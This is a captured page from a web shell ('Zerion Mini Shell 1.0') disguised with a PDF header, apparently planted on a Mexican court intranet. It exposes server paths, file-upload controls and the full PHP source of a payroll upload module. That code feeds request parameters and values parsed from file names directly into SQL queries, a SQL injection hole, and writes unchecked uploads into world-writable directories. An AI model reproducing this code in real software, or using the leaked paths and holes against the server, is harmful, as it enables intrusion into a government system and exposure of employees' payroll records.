%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/nomina/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/nomina/content_up_nomina.php

<?php
include "../../common/class.upload.php";

$conf = new Configuracion();
$conf->conectarBD();

$anio          =  isset($_REQUEST['anio']) ? $_REQUEST['anio'] : 0;
$qna          =  isset($_REQUEST['qna']) ? $_REQUEST['qna'] : 0;

$id_usuario = $_SESSION['id_usuario'];

$files = array();

if(isset($_FILES['archivo']))
{

	foreach ($_FILES['archivo'] as $k => $l) 
	{
		foreach ($l as $i => $v) 
		{
			if (!array_key_exists($i, $files))
			$files[$i] = array();
			$files[$i][$k] = $v;
		}
	}

	$consulta = "SELECT id_nomina_rh FROM tjam_nominas_rh ORDER BY id_nomina_rh DESC LIMIT 1";
	$rst = $conf->consulta($consulta);
	$id_reg = $rst[0]["id_nomina_rh"]+1;
	$reg = 0;

	foreach ($files as $file) 
	{
		$pre = pathinfo($file["name"], PATHINFO_FILENAME);
		$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
		$employ = substr(strrchr($pre, "_"), 1);
		
		/*$dir = "../usuarios/".$employ."/".$anio;
		//$dir = "../usuarios/".$employ;
		if(!file_exists($dir))
		{
			mkdir($dir, 0777);
		}*/
		//$handle = new upload($file);
		$handle = new \Verot\Upload\Upload($file);
		if ($handle->uploaded) 
		{
			$handle->file_overwrite = true;
			$handle->dir_chmod = 0777;
			$handle->Process("../usuarios/".$employ."/".$anio);
			if ($handle->processed) 
			{
				//$ruta = "ruta_".$ext;
				//$nomina = "nomina_".$ext;
				$nom_pdf = $file["name"];
				$asunto = 'Nómina '.$qna;
				$ip = $_SERVER['REMOTE_ADDR'];
				$vinculo= "http://".$_SERVER['HTTP_HOST']."/intranet/intranet/sistemas/usuarios/".$employ."/".$anio."/";
				$consulta3 = "SELECT * FROM tjam_nominas WHERE id_empleado = $employ AND anio = $anio AND quincena = $qna";
				$rst3 = $conf->consulta($consulta3);
				$consulta4 = "SELECT * FROM tjam_empleados WHERE num_empleado = $employ";
				$rst4 = $conf->consulta($consulta4);
				$id_personal = $rst4[0]["id"];
				if(count($rst3) > 0)
				{
					if ($ext == "pdf")
					{
						$sql1 = "UPDATE tjam_nominas SET ruta = '$vinculo', nomina_pdf = '$nom_pdf' WHERE id_empleado = $employ AND anio = $anio AND quincena = $qna";
						$rst11 = $conf->actualizacion($sql1);
					} else if ($ext == "xml" || $ext == "XML")
					{
						$sql1 = "UPDATE tjam_nominas SET ruta = '$vinculo', nomina_xml = '$nom_pdf' WHERE id_empleado = $employ AND anio = $anio AND quincena = $qna";
						$rst11 = $conf->actualizacion($sql1);
					}
				}
				else
				{
					if($ext == "pdf")
					{
						$sql1 = "INSERT INTO tjam_nominas(id_empleado, quincena, anio, ruta, nomina_pdf, id_registro) VALUES ($employ, $qna, $anio, '$vinculo', '$nom_pdf', $id_reg)";
						$rst11 = $conf->actualizacion($sql1);	
						$reg = $reg + 1;
					}
					else
					{
						$sql1 = "INSERT INTO tjam_nominas(id_empleado, quincena, anio, ruta, nomina_xml, id_registro) VALUES ($employ, $qna, $anio, '$vinculo', '$nom_pdf', $id_reg)";
						$rst11 = $conf->actualizacion($sql1);
						$reg = $reg + 1;
					}
					RegistrarNotificaciones($conf,$asunto,$ip,'sistemas/usuarios/page_nomina.php?noti=1',$id_usuario,$id_personal,'label label-green');
				}

			}
			else
			{
				$error = true;
				echo 'Error: ' . $handle->error;
			}
		}
		else
		{
			$error = true;
			echo 'Error: ' . $handle->error;
		}
		unset($handle);	
	}
	//$no_registros = count($files);
	$sql2 = "INSERT INTO tjam_nominas_rh(id_usuario, quincena, anio, no_registros) VALUES ($id_usuario, $qna, $anio, $reg)";
	$rst2 = $conf->actualizacion($sql2);
	if(count($files) > 1)
		echo "<div class='alert alert-success'>Se cargaron <b>". count($files). "</b> archivos correctamente</div>";
	else if(count($files) < 1)
		echo "<div class='alert alert-danger'>No se cargaron los archivos</div>";
	else
		echo "<div class='alert alert-success'>Se cargó <b>". count($files). "</b> archivo correctamente</div>";
	
}

?>

<div class="page-content">
	<a href="page_inicio.php" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a>
	<div id="generalTabContent" class="tab-content">
		<div id="tab-messages" class="tab-pane fade in active">  

            <div class="portlet box">
			    <div class="portlet-header">
			    	<div class="caption">Carga de Nómina de Empleados</div>
			    </div>
			    <br>
			        <form name="hipervinculo" action="" method="post" enctype="multipart/form-data">
			        	<div class="row">
				        	<div class="col-md-4">
					        	<div class="form-group"><label for="inputName" class="control-label"><dt>Año</dt></label><span class='require'> *</span>
					                <select class="select2-multi-value form-control"  name="anio" >
					                	<option value="<?php echo date('Y') ?>"><?php echo date('Y') ?></option>
					                	<option value="<?php echo date('Y')-1 ?>"><?php echo date('Y')-1 ?></option>
					                	<option value="<?php echo date('Y')-2 ?>"><?php echo date('Y')-2 ?></option>
					                	<option value="<?php echo date('Y')-3 ?>"><?php echo date('Y')-3 ?></option>
					                	<option value="<?php echo date('Y')-4 ?>"><?php echo date('Y')-4 ?></option>
					                </select>
					            </div>
				        	</div>
				        	<div class="col-md-4">
					        	<div class="form-group"><label for="inputName" class="control-label"><dt>Quincena</dt></label><span class='require'> *</span>
					                <select class="select2-multi-value form-control"  name="qna" >
					                	<?php
					                	for($i = 1; $i <= 24; $i++)
					                	{
                                            echo '<option value="'.($i).'">'.($i).'</option>';
                                        }
                                        ?>
					                </select>
					            </div>
				        	</div>
				        	<div class="col-md-4">
				            	<div class="form-group"><input type="file" name="archivo[]" required multiple /></div>
				        	</div>
				            <div class="form-actions">
			                    <div class="col-md-offset-5 col-md-6">
				            		<button type="submit" class="btn btn-success">Subir nueva nómina</button>
				            	</div>
				            </div>
			            </div>

			        </form>

			      <div><b>Últimos 10 registros </b></div>

			            <hr color="blue" />

			            <?php
			            //$consulta = "SELECT * FROM tjam_nominas_rh WHERE id_usuario=$id_usuario ORDER BY quincena DESC LIMIT 10";
			            $consulta = "SELECT anio, quincena, SUM(no_registros) AS no_registros, (SELECT COUNT(*) FROM tjam_nominas tn WHERE firma=1 AND tn.id_registro = nrh.id_nomina_rh) AS firmados FROM tjam_nominas_rh nrh GROUP BY anio,quincena ORDER BY quincena DESC LIMIT 20";
			            $rst1 = $conf->consulta($consulta);

			            echo "<table id='table_id' style='border-bottom:1px solid #ddd' class='table table-striped table-bordered table-hover'>";
			            echo "<thead>
                                <tr>
                                    <th>#</th>
                                    <th>Año</th>
                                    <th>Quincena</th>
                                    <th>Registros</th>
                                    <th>Firmados</th>
                                    <th>Avance</th>
                                    <th>Opciones</th>
                                </tr>
                            </thead>";
                        $estatus = array("","danger","warning","success");
			            for($i = 0; $i < count($rst1); $i++)
			            {
			            	$cant = $rst1[$i]["firmados"];
			            	//$cant = 15;
			            	$par = $rst1[$i]["no_registros"] / 3;
			            	if($cant >= 1 && $cant <= $par)
			            		$color = $estatus[1];
			            	else if ($cant > $par && $cant <= ($par*2))
			            		$color = $estatus[2];
			            	else if ($cant > ($par*2))
			            		$color = $estatus[3];
			            	else
			            		$color = $estatus[0];
                            $avance = ($cant * 100) / $rst1[$i]["no_registros"];
                            $avance = ceil($avance);

			            	echo "<tr>";
				            	echo "<td>".($i+1)."</td>";
				            	echo "<td>".$rst1[$i]["anio"]."</td>";
				            	echo "<td>".$rst1[$i]["quincena"]."</td>";
				            	echo "<td>".$rst1[$i]["no_registros"]."</td>";
				            	echo "<td>".$rst1[$i]["firmados"]."</td>";
				            	if($avance > 0)
				            	{
				            	echo '<td><div class="progress">
	                                        <div class="progress-bar progress-bar-'.$color.'" role="progressbar" aria-valuenow="'.$avance.'" aria-valuemin="0" aria-valuemax="100" style="width:'.$avance.'%"> 
	                                        	'.number_format($avance, 0).'%                                  
	                                        </div>
                                        </div>
                                      </td>';
                                }
                                else
                                {
                                	echo '<td><div class="progress">'.$avance.'%</div></td>';
                                }
                                echo '<td>';
                                echo '<div class="btn-group"><button data-toggle="dropdown" class="btn btn-sm dropdown-toggle btn-blue">
                                    <i class="fa fa-cog"></i> Opciones <span class="caret"></span></button>
                                    <ul class="dropdown-menu pull-right">';
                                echo '<li><a  href="page_find_nomina.php?anio='.$rst1[$i]["anio"].'&qna='.$rst1[$i]["quincena"].'" >Detalle &nbsp;<i class="fa fa-edit"></i></li></a>';
                                echo '<li><a  href="fondo.php?anio='.$rst1[$i]["anio"].'&qna='.$rst1[$i]["quincena"].'" >Detalle &nbsp;<i class="fa fa-dollar"></i></li></a>';
                                echo '</ul>
                                    </div>';
                                echo '</td>';
                                //echo '<td></td>';
			            	echo "</tr>";
			            }
			            echo "</table>";
			            $conf->desconectarDB();
			            ?>
			            <br>
				</div>

			</div>
		</div>
	</div>

Zerion Mini Shell 1.0